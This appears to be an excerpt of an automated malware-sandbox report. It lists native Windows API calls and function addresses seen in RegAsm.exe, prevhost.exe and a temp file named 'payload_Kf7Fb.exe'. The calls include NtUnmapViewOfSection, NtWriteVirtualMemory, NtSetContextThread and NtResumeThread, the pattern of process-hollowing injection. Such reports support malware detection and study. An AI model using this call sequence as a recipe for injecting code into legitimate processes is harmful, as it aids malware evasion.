                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03094340 NtSetContextThread,5_2_03094340
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03093010 NtOpenDirectoryObject,5_2_03093010
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03093090 NtSetValueKey,5_2_03093090
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03094650 NtSuspendThread,5_2_03094650
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03092B80 NtQueryInformationFile,5_2_03092B80
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03092BA0 NtEnumerateValueKey,5_2_03092BA0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03092BE0 NtQueryValueKey,5_2_03092BE0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03092BF0 NtAllocateVirtualMemory,5_2_03092BF0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03092AB0 NtWaitForSingleObject,5_2_03092AB0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03092AD0 NtReadFile,5_2_03092AD0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03092AF0 NtWriteFile,5_2_03092AF0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030939B0 NtGetContextThread,5_2_030939B0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03092F30 NtCreateSection,5_2_03092F30
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03092F60 NtCreateProcessEx,5_2_03092F60
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03092F90 NtProtectVirtualMemory,5_2_03092F90
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03092FA0 NtQuerySection,5_2_03092FA0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03092FB0 NtResumeThread,5_2_03092FB0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03092FE0 NtCreateFile,5_2_03092FE0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03092E30 NtWriteVirtualMemory,5_2_03092E30
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03092E80 NtReadVirtualMemory,5_2_03092E80
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03092EA0 NtAdjustPrivilegesToken,5_2_03092EA0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03092EE0 NtQueueApcThread,5_2_03092EE0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03092D00 NtSetInformationFile,5_2_03092D00
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03092D10 NtMapViewOfSection,5_2_03092D10
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03093D10 NtOpenProcessToken,5_2_03093D10
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03092D30 NtUnmapViewOfSection,5_2_03092D30
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03093D70 NtOpenThread,5_2_03093D70
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03092DB0 NtEnumerateKey,5_2_03092DB0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03092DD0 NtDelayExecution,5_2_03092DD0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03092C00 NtQueryInformationProcess,5_2_03092C00
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03092C60 NtCreateKey,5_2_03092C60
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03092CA0 NtQueryInformationToken,5_2_03092CA0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03092CC0 NtQueryVirtualMemory,5_2_03092CC0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03092CF0 NtOpenProcess,5_2_03092CF0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BE35C0 NtCreateMutant,LdrInitializeThunk,9_2_04BE35C0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BE4650 NtSuspendThread,LdrInitializeThunk,9_2_04BE4650
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BE4340 NtSetContextThread,LdrInitializeThunk,9_2_04BE4340
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BE2CA0 NtQueryInformationToken,LdrInitializeThunk,9_2_04BE2CA0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BE2C70 NtFreeVirtualMemory,LdrInitializeThunk,9_2_04BE2C70
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BE2C60 NtCreateKey,LdrInitializeThunk,9_2_04BE2C60
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BE2DF0 NtQuerySystemInformation,LdrInitializeThunk,9_2_04BE2DF0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BE2DD0 NtDelayExecution,LdrInitializeThunk,9_2_04BE2DD0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BE2D30 NtUnmapViewOfSection,LdrInitializeThunk,9_2_04BE2D30
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BE2D10 NtMapViewOfSection,LdrInitializeThunk,9_2_04BE2D10
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BE2E80 NtReadVirtualMemory,LdrInitializeThunk,9_2_04BE2E80
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BE2EE0 NtQueueApcThread,LdrInitializeThunk,9_2_04BE2EE0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BE2FB0 NtResumeThread,LdrInitializeThunk,9_2_04BE2FB0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BE2FE0 NtCreateFile,LdrInitializeThunk,9_2_04BE2FE0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BE2F30 NtCreateSection,LdrInitializeThunk,9_2_04BE2F30
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BE39B0 NtGetContextThread,LdrInitializeThunk,9_2_04BE39B0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BE2AF0 NtWriteFile,LdrInitializeThunk,9_2_04BE2AF0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BE2AD0 NtReadFile,LdrInitializeThunk,9_2_04BE2AD0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BE2BA0 NtEnumerateValueKey,LdrInitializeThunk,9_2_04BE2BA0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BE2BF0 NtAllocateVirtualMemory,LdrInitializeThunk,9_2_04BE2BF0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BE2BE0 NtQueryValueKey,LdrInitializeThunk,9_2_04BE2BE0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BE2B60 NtClose,LdrInitializeThunk,9_2_04BE2B60
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BE3090 NtSetValueKey,9_2_04BE3090
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BE3010 NtOpenDirectoryObject,9_2_04BE3010
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BE2CF0 NtOpenProcess,9_2_04BE2CF0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BE2CC0 NtQueryVirtualMemory,9_2_04BE2CC0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BE2C00 NtQueryInformationProcess,9_2_04BE2C00
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BE2DB0 NtEnumerateKey,9_2_04BE2DB0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BE3D10 NtOpenProcessToken,9_2_04BE3D10
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BE2D00 NtSetInformationFile,9_2_04BE2D00
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BE3D70 NtOpenThread,9_2_04BE3D70
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BE2EA0 NtAdjustPrivilegesToken,9_2_04BE2EA0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BE2E30 NtWriteVirtualMemory,9_2_04BE2E30
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BE2FA0 NtQuerySection,9_2_04BE2FA0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BE2F90 NtProtectVirtualMemory,9_2_04BE2F90
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BE2F60 NtCreateProcessEx,9_2_04BE2F60
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BE2AB0 NtWaitForSingleObject,9_2_04BE2AB0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BE2B80 NtQueryInformationFile,9_2_04BE2B80
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_00B099D0 NtCreateFile,9_2_00B099D0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_00B09B40 NtReadFile,9_2_00B09B40
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_00B09CE0 NtClose,9_2_00B09CE0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_00B09C30 NtDeleteFile,9_2_00B09C30
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_00B09E40 NtAllocateVirtualMemory,9_2_00B09E40
                Source: C:\Users\user\AppData\Local\Temp\payload_Kf7Fb.exeCode function: 2_2_00D40DAF2_2_00D40DAF
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_00418F035_2_00418F03
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_004030B05_2_004030B0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0041710F5_2_0041710F
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_004171135_2_00417113
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0040E9235_2_0040E923
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_004109335_2_00410933
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0040EA735_2_0040EA73
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0040242C5_2_0040242C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_004024305_2_00402430
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0042F6535_2_0042F653
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_004027005_2_00402700
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_004107135_2_00410713
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0311132D5_2_0311132D
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0311A3525_2_0311A352
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304D34C5_2_0304D34C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030A739A5_2_030A739A
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_031203E65_2_031203E6
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0306E3F05_2_0306E3F0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_031002745_2_03100274
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030652A05_2_030652A0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0307B2C05_2_0307B2C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_031012ED5_2_031012ED
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030501005_2_03050100
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030FA1185_2_030FA118
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0309516C5_2_0309516C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0304F1725_2_0304F172
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0312B16B5_2_0312B16B
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0306B1B05_2_0306B1B0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_031201AA5_2_031201AA
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_031181CC5_2_031181CC
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030670C05_2_030670C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0310F0CC5_2_0310F0CC
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0311F0E05_2_0311F0E0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_031170E95_2_031170E9
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030847505_2_03084750
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030607705_2_03060770
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0311F7B05_2_0311F7B0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0305C7C05_2_0305C7C0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_031116CC5_2_031116CC
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0307C6E05_2_0307C6E0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030605355_2_03060535
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_031175715_2_03117571
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_031205915_2_03120591
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030FD5B05_2_030FD5B0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0311F43F5_2_0311F43F
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_031124465_2_03112446
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030514605_2_03051460
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0310E4F65_2_0310E4F6
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0311AB405_2_0311AB40
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0311FB765_2_0311FB76
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0307FB805_2_0307FB80
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03116BD75_2_03116BD7
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0309DBF95_2_0309DBF9
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03117A465_2_03117A46
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0311FA495_2_0311FA49
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030D3A6C5_2_030D3A6C
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0305EA805_2_0305EA80
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030FDAAC5_2_030FDAAC
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030A5AA05_2_030A5AA0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0310DAC65_2_0310DAC6
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030699505_2_03069950
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0307B9505_2_0307B950
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030769625_2_03076962
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030629A05_2_030629A0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0312A9A65_2_0312A9A6
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030CD8005_2_030CD800
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030628405_2_03062840
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0306A8405_2_0306A840
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030468B85_2_030468B8
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030638E05_2_030638E0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0308E8F05_2_0308E8F0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0311FF095_2_0311FF09
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030A2F285_2_030A2F28
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03080F305_2_03080F30
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030D4F405_2_030D4F40
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03061F925_2_03061F92
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0311FFB15_2_0311FFB1
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03052FC85_2_03052FC8
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0306CFE05_2_0306CFE0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0311EE265_2_0311EE26
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03060E595_2_03060E59
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0311CE935_2_0311CE93
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03072E905_2_03072E90
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03069EB05_2_03069EB0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0311EEDB5_2_0311EEDB
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0306AD005_2_0306AD00
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03063D405_2_03063D40
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03111D5A5_2_03111D5A
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03117D735_2_03117D73
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03078DBF5_2_03078DBF
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0307FDC05_2_0307FDC0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0305ADE05_2_0305ADE0
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03060C005_2_03060C00
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_030D9C325_2_030D9C32
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03100CB55_2_03100CB5
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_0311FCF25_2_0311FCF2
                Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exeCode function: 5_2_03050CF25_2_03050CF2
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04C5E4F69_2_04C5E4F6
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04C624469_2_04C62446
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BA14609_2_04BA1460
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04C6F43F9_2_04C6F43F
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04C705919_2_04C70591
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04C4D5B09_2_04C4D5B0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BB05359_2_04BB0535
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04C675719_2_04C67571
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04C616CC9_2_04C616CC
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BCC6E09_2_04BCC6E0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04C6F7B09_2_04C6F7B0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BAC7C09_2_04BAC7C0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BB07709_2_04BB0770
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BD47509_2_04BD4750
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04C5F0CC9_2_04C5F0CC
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04C6F0E09_2_04C6F0E0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04C670E99_2_04C670E9
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BB70C09_2_04BB70C0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04C681CC9_2_04C681CC
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BBB1B09_2_04BBB1B0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04C701AA9_2_04C701AA
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04C7B16B9_2_04C7B16B
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BA01009_2_04BA0100
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04B9F1729_2_04B9F172
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BE516C9_2_04BE516C
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04C4A1189_2_04C4A118
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BB52A09_2_04BB52A0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04C512ED9_2_04C512ED
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BCB2C09_2_04BCB2C0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04C502749_2_04C50274
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04C703E69_2_04C703E6
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BF739A9_2_04BF739A
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BBE3F09_2_04BBE3F0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04C6A3529_2_04C6A352
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04C6132D9_2_04C6132D
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04B9D34C9_2_04B9D34C
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04C6FCF29_2_04C6FCF2
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BA0CF29_2_04BA0CF2
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04C50CB59_2_04C50CB5
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BB0C009_2_04BB0C00
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04C29C329_2_04C29C32
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BC8DBF9_2_04BC8DBF
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BAADE09_2_04BAADE0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BCFDC09_2_04BCFDC0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04C61D5A9_2_04C61D5A
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04C67D739_2_04C67D73
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BBAD009_2_04BBAD00
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BB3D409_2_04BB3D40
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BB9EB09_2_04BB9EB0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04C6EEDB9_2_04C6EEDB
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BC2E909_2_04BC2E90
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04C6CE939_2_04C6CE93
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04C6EE269_2_04C6EE26
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BB0E599_2_04BB0E59
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BB1F929_2_04BB1F92
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BBCFE09_2_04BBCFE0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BA2FC89_2_04BA2FC8
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04C6FFB19_2_04C6FFB1
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04C24F409_2_04C24F40
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BD0F309_2_04BD0F30
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BF2F289_2_04BF2F28
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04C6FF099_2_04C6FF09
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04B968B89_2_04B968B8
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BDE8F09_2_04BDE8F0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BB38E09_2_04BB38E0
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BBA8409_2_04BBA840
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BB28409_2_04BB2840
                Source: C:\Windows\SysWOW64\prevhost.exeCode function: 9_2_04BB29A09_2_04BB29A0
